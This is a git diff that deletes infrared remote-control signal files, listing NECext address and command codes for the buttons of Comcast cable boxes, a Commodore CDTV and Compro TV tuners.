-type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 10 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 11 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 12 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 13 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 14 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 15 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 16 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 17 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 18 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 19 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 1D 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 1E 00 00 00 -# -name: A -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 2F 00 00 00 -# -name: B -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 30 00 00 00 -# -name: C -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 31 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 39 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Comcast/Cable Box/62,16.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Comcast/Cable Box/62,16.ir deleted file mode 100644 index a7c14b1c8..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Comcast/Cable Box/62,16.ir +++ /dev/null @@ -1,464 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: 3E 10 00 00 -command: 00 00 00 00 -# -name: 4_-_TEST_3_-_ADJ_1ST -type: parsed -protocol: NECext -address: 3E 10 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 3E 10 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 3E 10 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 3E 10 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 3E 10 00 00 -command: 04 00 00 00 -# -name: 4_-_A -type: parsed -protocol: NECext -address: 3E 10 00 00 -command: 04 00 00 00 -# -name: 4_-_TEST_1_-_10% -type: parsed -protocol: NECext -address: 3E 10 00 00 -command: 04 00 00 00 -# -name: 4_-_TEST_4_-_ADJ_2ND -type: parsed -protocol: NECext -address: 3E 10 00 00 -command: 04 00 00 00 -# -name: 4_-_TEST_5_-_ADJ_DOW -type: parsed -protocol: NECext -address: 3E 10 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 3E 10 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 3E 10 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 3E 10 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 3E 10 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 3E 10 00 00 -command: 09 00 00 00 -# -name: VOLUME_UP -type: parsed -protocol: NECext -address: 3E 10 00 00 -command: 0A 00 00 00 -# -name: VOLUME_DOWN -type: parsed -protocol: NECext -address: 3E 10 00 00 -command: 0B 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 3E 10 00 00 -command: 0C 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 3E 10 00 00 -command: 0D 00 00 00 -# -name: CHAN_UP -type: parsed -protocol: NECext -address: 3E 10 00 00 -command: 0D 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 3E 10 00 00 -command: 0E 00 00 00 -# -name: CHAN_DOWN -type: parsed -protocol: NECext -address: 3E 10 00 00 -command: 0E 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 3E 10 00 00 -command: 0F 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 3E 10 00 00 -command: 20 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 3E 10 00 00 -command: 21 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 3E 10 00 00 -command: 22 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 3E 10 00 00 -command: 23 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 3E 10 00 00 -command: 24 00 00 00 -# -name: OK/SELECT -type: parsed -protocol: NECext -address: 3E 10 00 00 -command: 25 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 3E 10 00 00 -command: 25 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 3E 10 00 00 -command: 26 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: 3E 10 00 00 -command: 27 00 00 00 -# -name: PAGE_UP -type: parsed -protocol: NECext -address: 3E 10 00 00 -command: 28 00 00 00 -# -name: PAGE_DOWN -type: parsed -protocol: NECext -address: 3E 10 00 00 -command: 29 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 3E 10 00 00 -command: 2A 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 3E 10 00 00 -command: 30 00 00 00 -# -name: PLAY_1ST -type: parsed -protocol: NECext -address: 3E 10 00 00 -command: 30 00 00 00 -# -name: PLAY_2ND -type: parsed -protocol: NECext -address: 3E 10 00 00 -command: 30 00 00 00 -# -name: PLAY-5% -type: parsed -protocol: NECext -address: 3E 10 00 00 -command: 30 00 00 00 -# -name: PLAY-5%_8 -type: parsed -protocol: NECext -address: 3E 10 00 00 -command: 30 00 00 00 -# -name: PLAY-5%_LONG -type: parsed -protocol: NECext -address: 3E 10 00 00 -command: 30 00 00 00 -# -name: PLAY-7% -type: parsed -protocol: NECext -address: 3E 10 00 00 -command: 30 00 00 00 -# -name: PLAY-7%_8 -type: parsed -protocol: NECext -address: 3E 10 00 00 -command: 30 00 00 00 -# -name: PLAY-7%_LONG -type: parsed -protocol: NECext -address: 3E 10 00 00 -command: 30 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 3E 10 00 00 -command: 31 00 00 00 -# -name: STOP_-_2ND -type: parsed -protocol: NECext -address: 3E 10 00 00 -command: 31 00 00 00 -# -name: STOP_-_5% -type: parsed -protocol: NECext -address: 3E 10 00 00 -command: 31 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 3E 10 00 00 -command: 32 00 00 00 -# -name: PAUSE_-_2ND -type: parsed -protocol: NECext -address: 3E 10 00 00 -command: 32 00 00 00 -# -name: PAUSE_-_5% -type: parsed -protocol: NECext -address: 3E 10 00 00 -command: 32 00 00 00 -# -name: REVERSE -type: parsed -protocol: NECext -address: 3E 10 00 00 -command: 33 00 00 00 -# -name: REVERSE_-_2ND -type: parsed -protocol: NECext -address: 3E 10 00 00 -command: 33 00 00 00 -# -name: REVERSE_-_5% -type: parsed -protocol: NECext -address: 3E 10 00 00 -command: 33 00 00 00 -# -name: FORWARD -type: parsed -protocol: NECext -address: 3E 10 00 00 -command: 34 00 00 00 -# -name: FORWARD_-_2ND -type: parsed -protocol: NECext -address: 3E 10 00 00 -command: 34 00 00 00 -# -name: FORWARD_-_5% -type: parsed -protocol: NECext -address: 3E 10 00 00 -command: 34 00 00 00 -# -name: REC -type: parsed -protocol: NECext -address: 3E 10 00 00 -command: 35 00 00 00 -# -name: REC_-_2ND -type: parsed -protocol: NECext -address: 3E 10 00 00 -command: 35 00 00 00 -# -name: REC_-_5% -type: parsed -protocol: NECext -address: 3E 10 00 00 -command: 35 00 00 00 -# -name: HD_ZOOM -type: parsed -protocol: NECext -address: 3E 10 00 00 -command: 50 00 00 00 -# -name: LAST -type: parsed -protocol: NECext -address: 3E 10 00 00 -command: 51 00 00 00 -# -name: FAV -type: parsed -protocol: NECext -address: 3E 10 00 00 -command: 52 00 00 00 -# -name: REPLAY -type: parsed -protocol: NECext -address: 3E 10 00 00 -command: 53 00 00 00 -# -name: MY_DVR -type: parsed -protocol: NECext -address: 3E 10 00 00 -command: 54 00 00 00 -# -name: LIVE -type: parsed -protocol: NECext -address: 3E 10 00 00 -command: 55 00 00 00 -# -name: HELP -type: parsed -protocol: NECext -address: 3E 10 00 00 -command: 56 00 00 00 -# -name: TV/VCR -type: parsed -protocol: NECext -address: 3E 10 00 00 -command: 57 00 00 00 -# -name: PIP_ON/OFF -type: parsed -protocol: NECext -address: 3E 10 00 00 -command: 58 00 00 00 -# -name: PIP_SWAP -type: parsed -protocol: NECext -address: 3E 10 00 00 -command: 59 00 00 00 -# -name: PIP_MOVE -type: parsed -protocol: NECext -address: 3E 10 00 00 -command: 5A 00 00 00 -# -name: PIP_CHANNEL_- -type: parsed -protocol: NECext -address: 3E 10 00 00 -command: 5C 00 00 00 -# -name: PIP_CHAN+_-TEST_TWK -type: parsed -protocol: NECext -address: 3E 10 00 00 -command: 5C 00 00 00 -# -name: A -type: parsed -protocol: NECext -address: 3E 10 00 00 -command: 60 00 00 00 -# -name: B -type: parsed -protocol: NECext -address: 3E 10 00 00 -command: 61 00 00 00 -# -name: C -type: parsed -protocol: NECext -address: 3E 10 00 00 -command: 62 00 00 00 -# -name: ON_DEMAND -type: parsed -protocol: NECext -address: 3E 10 00 00 -command: 64 00 00 00 -# -name: LANGUAGE -type: parsed -protocol: NECext -address: 3E 10 00 00 -command: 82 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Comcast/Digital Cable/15,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Comcast/Digital Cable/15,-1.ir deleted file mode 100644 index 69e884dbd..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Comcast/Digital Cable/15,-1.ir +++ /dev/null @@ -1,20 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2E 00 00 00 -# -name: VOLUME+ -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2F 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 3F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Comcast/Digital Cable/27,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Comcast/Digital Cable/27,-1.ir deleted file mode 100644 index cb3920107..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Comcast/Digital Cable/27,-1.ir +++ /dev/null @@ -1,146 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: UP -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 02 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 03 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 04 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 06 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 07 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 0B 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 0C 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 0C 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 10 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 11 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 12 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 13 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 14 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 15 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 16 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 17 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 18 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 19 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 1D 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 1E 00 00 00 -# -name: A -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 2F 00 00 00 -# -name: B -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 30 00 00 00 -# -name: C -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 31 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 39 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Comcast/HD Cable with DVR/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Comcast/HD Cable with DVR/0,-1.ir deleted file mode 100644 index 390df15bb..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Comcast/HD Cable with DVR/0,-1.ir +++ /dev/null @@ -1,260 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: ON_DEMAND -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: PPV -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: PPV -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: CH_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0B 00 00 00 -# -name: CH_DN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: OK/SELECT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 12 00 00 00 -# -name: LAST -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 13 00 00 00 -# -name: FAV -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 15 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 19 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1B 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1C 00 00 00 -# -name: FF -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1D 00 00 00 -# -name: RW -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1E 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1F 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 30 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 31 00 00 00 -# -name: HELP[ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 32 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 34 00 00 00 -# -name: DN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 35 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 35 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 36 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 37 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 38 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 39 00 00 00 -# -name: PAGE_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3A 00 00 00 -# -name: PAGE_DN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3B 00 00 00 -# -name: SKIP_30_SECONDS -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Comcast/HD Cable with DVR/14,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Comcast/HD Cable with DVR/14,-1.ir deleted file mode 100644 index 00bcc4b4b..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Comcast/HD Cable with DVR/14,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: FF -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 1C 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Commodore/Unknown_cdtv/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Commodore/Unknown_cdtv/0,-1.ir deleted file mode 100644 index c8bd7ac7f..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Commodore/Unknown_cdtv/0,-1.ir +++ /dev/null @@ -1,164 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: cdtv -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: KEY_PLAYPAUSE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 12 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 15 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 19 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1A 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 20 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 21 00 00 00 -# -name: genlock -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 22 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 25 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 29 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2A 00 00 00 -# -name: KEY_ESC -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 31 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 32 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 35 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 39 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3A 00 00 00 -# -name: b_button -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 40 00 00 00 -# -name: a_button -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 80 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Compro/Unknown_DVB-T200/128,126.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Compro/Unknown_DVB-T200/128,126.ir deleted file mode 100644 index aea475dc8..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Compro/Unknown_DVB-T200/128,126.ir +++ /dev/null @@ -1,224 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: PVR_TV -type: parsed -protocol: NECext -address: 80 7E 00 00 -command: 00 00 00 00 -# -name: KEY_DVD -type: parsed -protocol: NECext -address: 80 7E 00 00 -command: 01 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 80 7E 00 00 -command: 02 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 80 7E 00 00 -command: 03 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 80 7E 00 00 -command: 04 00 00 00 -# -name: TV_VIDEO -type: parsed -protocol: NECext -address: 80 7E 00 00 -command: 05 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 80 7E 00 00 -command: 06 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 80 7E 00 00 -command: 07 00 00 00 -# -name: KEY_PLAYPAUSE -type: parsed -protocol: NECext -address: 80 7E 00 00 -command: 08 00 00 00 -# -name: KEY_SETUP -type: parsed -protocol: NECext -address: 80 7E 00 00 -command: 09 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 80 7E 00 00 -command: 0A 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 80 7E 00 00 -command: 0B 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 80 7E 00 00 -command: 0C 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 80 7E 00 00 -command: 0D 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 80 7E 00 00 -command: 0E 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 80 7E 00 00 -command: 0F 00 00 00 -# -name: KEY_ANGLE -type: parsed -protocol: NECext -address: 80 7E 00 00 -command: 10 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 80 7E 00 00 -command: 11 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 80 7E 00 00 -command: 12 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 80 7E 00 00 -command: 13 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 80 7E 00 00 -command: 14 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 80 7E 00 00 -command: 15 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 80 7E 00 00 -command: 16 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 80 7E 00 00 -command: 17 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 80 7E 00 00 -command: 18 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 80 7E 00 00 -command: 19 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 80 7E 00 00 -command: 1A 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 80 7E 00 00 -command: 1B 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 80 7E 00 00 -command: 1C 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 80 7E 00 00 -command: 1D 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 80 7E 00 00 -command: 1E 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 80 7E 00 00 -command: 1F 00 00 00 -# -name: KEY_LANGUAGE -type: parsed -protocol: NECext -address: 80 7E 00 00 -command: 40 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 80 7E 00 00 -command: 41 00 00 00 -# -name: CH_SURF -type: parsed -protocol: NECext -address: 80 7E 00 00 -command: 42 00 00 00 -# -name: KEY_RADIO -type: parsed -protocol: NECext -address: 80 7E 00 00 -command: 43 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 80 7E 00 00 -command: 44 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Compro/Unknown_VideoMate-K300/4,15.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Compro/Unknown_VideoMate-K300/4,15.ir deleted file mode 100644 index 5b9bd900b..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Compro/Unknown_VideoMate-K300/4,15.ir +++ /dev/null @@ -1,290 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 09 00 00 00 -# -name: Clean -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 0A 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 0B 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 0C 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 0D 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 0E 00 00 00 -# -name: More -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 0F 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 10 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 11 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 12 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 13 00 00 00 -# -name: Fwdwind -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 14 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 15 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 17 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 19 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 1A 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 1B 00 00 00 -# -name: KEY_NUMERIC_POUND -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 1C 00 00 00 -# -name: KEY_NUMERIC_STAR -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 1D 00 00 00 -# -name: ArrowUp -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 1E 00 00 00 -# -name: ArrowDown -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 1F 00 00 00 -# -name: ArrowLeft -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 20 00 00 00 -# -name: ArrowRight -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 21 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 22 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 23 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 24 00 00 00 